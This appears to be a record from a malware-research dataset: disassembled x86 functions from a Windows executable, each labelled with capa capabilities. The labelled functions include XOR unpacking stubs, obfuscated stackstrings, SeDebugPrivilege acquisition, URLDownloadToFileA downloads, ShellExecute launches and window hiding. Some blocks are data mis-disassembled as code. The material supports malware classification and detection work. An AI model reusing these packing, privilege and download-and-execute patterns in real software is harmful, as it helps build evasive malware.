joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x29794d9e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x48ed3354
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x47cd16
Capabilities:
Get number of processors

Disassembly:
add esp, 4
or edx, 0xea8a
pop edx
mov eax, dword [ebp - 0xc94]
mov cx, word [eax]
mov word [ebp - 0x1036], cx
mov edx, dword [ebp - 0xc94]
add edx, 2
mov dword [ebp - 0xc94], edx
mov ax, word [ebp - 0x1036]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc98]
mov dx, word [ecx]
mov word [ebp - 0x1038], dx
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push ecx
push eax
add esp, 4
add ecx, 0xb1c3
or ecx, 0xc202
pop ecx
push edi
push edi
add esp, 4
or edi, 0xe6fe
pop edi
push eax
or eax, 0x1163e
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x415b
pop ebx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x47cc50
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e8], eax
jmp 0x47ccb3
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x47cb6f
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x47cb6f
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x47cc9d
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x47cca7
mov dword [ebp - 0x15e4], 1
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x47ccfc
push esi
add esi, 0x60e5
xor esi, 0x92c
xor esi, 0x4f26
jmp 0x47ccd5
pop esi
push edi
push edi
add esp, 4
sub edi, 0xd58b
pop edi
push esi
push esi
add esp, 4
sub esi, 0xdb15
pop esi
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x47cd64
push ebx
push edx
add esp, 4
and ebx, 0x3860
call 0x47cd16
add byte [ebx], dh
aaa
cmp eax, 0x323f3e3b
dec esp
dec edi
add esp, 4
pop ebx
push eax
or eax, 0x49bf
xor eax, 0xd085
xor eax, 0xfe2e
pop eax
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xc9c]
je 0x47cd5a
mov ecx, dword [ebp - 0x508]
cmp dword [ecx + 0x30], 0
jne 0x47cb10
mov dword [ebp - 0x2d4], 0
Function at 0x47def9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop edx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte gs:[ebp - 0x9cc], 0x63
Function at 0x47efa1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
add esp, 4
and ecx, 0x15cb6
pop ecx
push esi
jmp 0x47ef63
pop esi
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push esi
call 0x47ef83
add byte [esi], dh
inc ebp
cmp edi, dword [ebx]
cmp dword [ebx + eax*2 + 0x39], ecx
push eax
add esp, 4
or esi, 0x141e9
xor esi, 0xe5f0
call 0x47efa1
add byte [eax + 0x41], dl
dec esi
push eax
dec ebx
xor cl, byte [eax + edx*2 + 0x3f]
add esp, 4
pop esi
mov dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x47efd5
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x47f2c6
mov edx, dword [ebp - 0x1690]
mov eax, dword [ebp - 0x36c]
inc dword [ebx]
inc edx
cmp al, 0x89
test dword [ecx + ebp*8 - 1], ebp
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x47f2c6
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1694]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1698], edx
cmp dword [ebp - 0x1698], 0
jne 0x47f02f
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
jmp 0x47f2c6
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x78c], ecx
jne 0x47f054
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x524], edx
jmp 0x47f2c6
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19f8], ecx
mov edx, dword [ebp - 0x78c]
invalid

Function at 0x47f7e0
Capabilities:
Encode data using xor

Disassembly:
int1
mov byte [eax - 3], bh
js 0x47f7d4
add al, byte [edx]
insb byte es:[edi], dx
leave
mov byte [ecx - 3], bh
add al, byte [edx]
jne 0x47f7ab
mov byte [edx - 3], bh
add al, byte [edx]
ja 0x47f7b2
mov byte [ebx - 3], bh
add al, byte [edx]
js 0x47f7b9
mov byte [ebp + edi*8 + 2], bh
add ah, byte [ecx + ecx*8 - 0x78]
jge 0x47f7f7
mov byte [ebp - 3], bh
add al, byte [edx]
outsd dx, dword [esi]
leave
mov byte [esi - 3], bh
add al, byte [edx]
push ebx
leave
mov byte [edi - 3], bh
add al, byte [edx]
jne 0x47f7d5
mov byte [eax + 0x720202fd], al
leave
mov byte [ecx + 0x770202fd], al
leave
mov byte [edx + 0x680202fd], al
leave
mov byte [ebx + 0x660202fd], al
leave
mov byte [ebp + edi*8 - 0x3688fdfe], al
mov byte [ebp + 0x30202fd], al
mov ebp, 0x3030344
imul ecx, dword [eax + ebx*4 + 0x202eb73], 0x30378bb
add ebp, dword [ecx - 0x74]
mov byte [ebp - 0x15], dh
add al, byte [edx]
mov esp, 0x303036a
push 3
add eax, dword [ebx]
imul ecx, dword [eax + edx*4 + 0x202eb77], 0x30334bd
add ebp, dword [ecx - 0x74]
cwde
jns 0x47f84e
add al, byte [edx]
mov ebx, 0x3030334
xor al, 3
add eax, dword [ebx]
imul ecx, dword [eax + ecx*4 + 0x202eb7b], 0x30333bc
add ebp, dword [ecx - 0x74]
nop
jge 0x47f866
add al, byte [edx]
aad 0x69
mov word [eax + 0x202eb7f], ds
push ebp
test ch, al
inc esp
enter 0x303, 0xffffffffffffffee
pop es
cmp al, 0x3b
push ebx
push eax
test ch, ch
cmc
rol dword [ebx], 1
add eax, dword [ebp + 0x3046e8f]
pop ebp
push ebx
pop edx
xchg bh, al
pop es
test bl, al
salc
fild word [ebx]
add eax, dword [ebx + eax*8 + 0x3037960]
test bl, al
invalid
Function at 0x4818f0
Capabilities:
Encode data using xor

Disassembly:
mov cs, word [eax + 0x202ec17]
mov word [eax + 0x202ec13], cs
xchg al, al
adc ebp, esp
add al, byte [edx]
add edi, dword [eax + 0x43]
pop ecx
test cl, bh
xor byte [ecx + 4], dh
add esp, dword [ecx + 0x53]
pop ecx
xchg bh, al
pop es
test bl, ch
jl 0x481906
add eax, dword [ebx]
jmp 0x481927
xchg bh, al
pop es
test bl, cl
cmp bh, dh
add eax, dword [ebx]
test bl, dh
pop dword [0x8e5b0304]
nop
retf

Function at 0x4966b0
Capabilities:
Encode data using xor

Disassembly:
mov word [eax + 0x202010b], ss
aad 0x69
mov word [eax + 0x2020207], ds
pop edx
test dl, cl
or ebp, dword [edx]
add eax, dword [ebx]
test dl, dl
dec eax
cmpsd dword [esi], dword es:[edi]
add eax, dword [ebx]
out dx, al
push es
inc eax
push edx
dec eax
bound ebx, qword [ecx - 0x15]
or al, 3
add eax, dword [ebx]
add edi, dword [edx]
dec esi
aaa
cmp eax, 0x533b393a
xchg bh, al
pop es
test cl, bh
mov edx, eax
add eax, dword [ebx]
test cl, ch
wait
mov ebx, 0x8e610303
mov byte [ebx], cl
add al, byte [edx]
imul ecx, dword [esi - 0x6f7396f5], 0x202f695
mov ds, word [eax + 0x202f30b]
xchg ch, al
add eax, 0xf30b988c
add al, byte [edx]
imul ecx, dword [esi + 0x2f69588], 0x888c6902
or eax, dword [ecx]
add al, byte [edx]
mov ss, word [eax + 0x202f307]
imul ecx, dword [esi - 0x677396ec], 0x202f693
mov cs, word [eax + 0x202f307]
xchg bl, al
add eax, 0xf307888c
add al, byte [edx]
imul ecx, dword [esi + 0x2f69390], 0x908c6902
pop es
add al, byte [edx]
add dl, byte [esp + eax*4 - 0x3c]
rol dword [ebx + 3], cl
add ebx, dword [ebp + edx*2 - 0x15]
or al, 3
add eax, dword [ebx]
add eax, dword [edx + 0x43]
cmp dword [eax + 0x35], ecx
aas
xor eax, 0x7c78643
add al, byte [edx]
imul ecx, dword [eax + edx*4 + 0x2020207], 0xd3c48454
inc ebx
add eax, dword [ebx]
pop esp
push ebp
jmp 0x496762
xchg bh, al
pop es
out dx, al
or cl, byte [eax + 0x46]
push edx
dec edx
aaa
dec esp
inc edi
test ch, al
jbe 0x496742
add eax, dword [ebx]
out dx, al
or dword [edi], edi
push ecx
push ecx
dec eax
cmp al, 0x43
pop ebp
adc bh, byte [edx + 0x2020798]
add cl, byte [eax + 0x121b78d5]
mov edx, 0x2010b88
add dl, byte [edx]
mov edx, 0x2020790
add ch, byte [esi]
les ecx, [eax + ecx*4 + 0x202edaf]
out dx, al
adc bh, byte [edx + 0x2010b98]
add dl, byte [edx]
mov edx, 0x2020788
add bh, byte [esi]
rcl dword [edx], cl
xchg dword [edx + eax], ecx
add al, byte [edx]
adc bh, byte [edx + 0x2010b90]
add al, byte [esi - 0x45eddc0c]
cwde
pop es
add al, byte [edx]
add bh, byte [esi]
int 0x12
xchg ebx, esi
add dword [edx], eax
add dl, byte [edx]
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
mov ecx, 0x46d34a55
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x254d61fb
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402433
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x4024c6
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402474
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x25c
call fcn.00450790
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.004507a0
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x4024d0
mov eax, 0
jmp 0x4024d0
mov esp, ebp
pop ebp
ret 4

Function at 0x402508
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.004507c0
add esp, 0x10
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x402584
cmp dword [ebp - 4], 0
je 0x40257f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
jmp 0x40258c
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x40259d
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4025a3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4025e0
mov eax, 0x4732d5
push eax
push 3
mov ebx, 0x270
call fcn.004508a0
add esp, 0x28
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402723
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x278
call fcn.00450980
add esp, 0x10
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402631
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x244
call fcn.00450590
add esp, 0x10
call fcn.00401750
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402661
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402675
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.004505a0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402698
push ebx
call fcn.0044b8aa
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40270e
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40271e
push ebx
call fcn.0044b8aa
add esp, 4
jmp 0x402813
push dword [ebp + 8]
call fcn.00402433
and eax, 1
xor eax, 1
test eax, eax
je 0x40278d
call fcn.00401750
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402756
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40276a
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.004505a0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40278d
push ebx
call fcn.0044b8aa
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402803
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402813
push ebx
call fcn.0044b8aa
add esp, 4
push 0x5cd818
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x90]
mov esp, ebp
pop ebp
ret 4
Function at 0x406c96
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
push 8
call fcn.0044b8a4
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0044b8a4
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.0044b8a4
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.00450020
add esp, 0x1c
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406dba
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
jmp 0x406e51
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0044b8aa
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40c70f
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
sete al
jmp 0x40c74f
mov esp, ebp
pop ebp
ret 8
Function at 0x412660
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ebx, dword [0x5cd81c]
mov dword [ebp - 4], ebx
push 0x4732d5
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.00401bf1
add esp, 8
cmp eax, 0
je 0x41271c
mov ebx, dword [0x5cd81c]
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00450080
add esp, 0x10
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41270c
push ebx
call fcn.0044b8aa
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41271c
push ebx
call fcn.0044b8aa
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41b8a6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
setne al
jmp 0x41b8d5
mov esp, ebp
pop ebp
ret 4

Function at 0x41b8db
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 5
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
setne al
jmp 0x41b90a
mov esp, ebp
pop ebp
ret 4

Function at 0x41b910
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [0x5cd928], 0
jle 0x41b948
cmp dword [0x5cd914], 0
jle 0x41b948
mov eax, 1
jmp 0x41b94a
xor eax, eax
test eax, eax
je 0x41b9f3
push 1
push dword [0x5cd928]
call fcn.0041b9f9
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x41b9da
push 0x5cd924
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
lea eax, [ebp - 8]
push eax
call fcn.004073b1
push eax
push dword [0x5cd914]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41b9c6
push dword [0x5cd914]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
mov dword [0x5cd914], 0
mov dword [0x5cd928], 0
push 0x5cd924
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
jmp 0x41b9f3
cmp dword [ebp - 4], 0
jne 0x41b9f3
push 0x5cd984
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41c93b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.00450040
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41c980
push ebx
call fcn.0044b8aa
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040c605
push eax
push 0x200
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
nop
nop
nop
nop
mov eax, dword [ebp - 4]
test eax, eax
je 0x41c9c1
push eax
mov ebx, eax
call fcn.0040106a
inc eax
push eax
call fcn.0044b8a4
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41c9c6
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41c9d7
push ebx
call fcn.0044b8aa
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x420570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push dword [ebp + 8]
push dword [0x5cd834]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4205bf
mov eax, 0x47338d
jmp 0x42067e
push dword [ebp + 8]
push dword [0x5cd834]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4205e9
mov eax, 0x47338d
jmp 0x42067e
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42060d
mov eax, 0x47338d
jmp 0x42067e
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.004509b0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x420640
push ebx
call fcn.0044b8aa
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x420654
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x420679
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0044b8a4
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x42067e
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42068f
push ebx
call fcn.0044b8aa
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4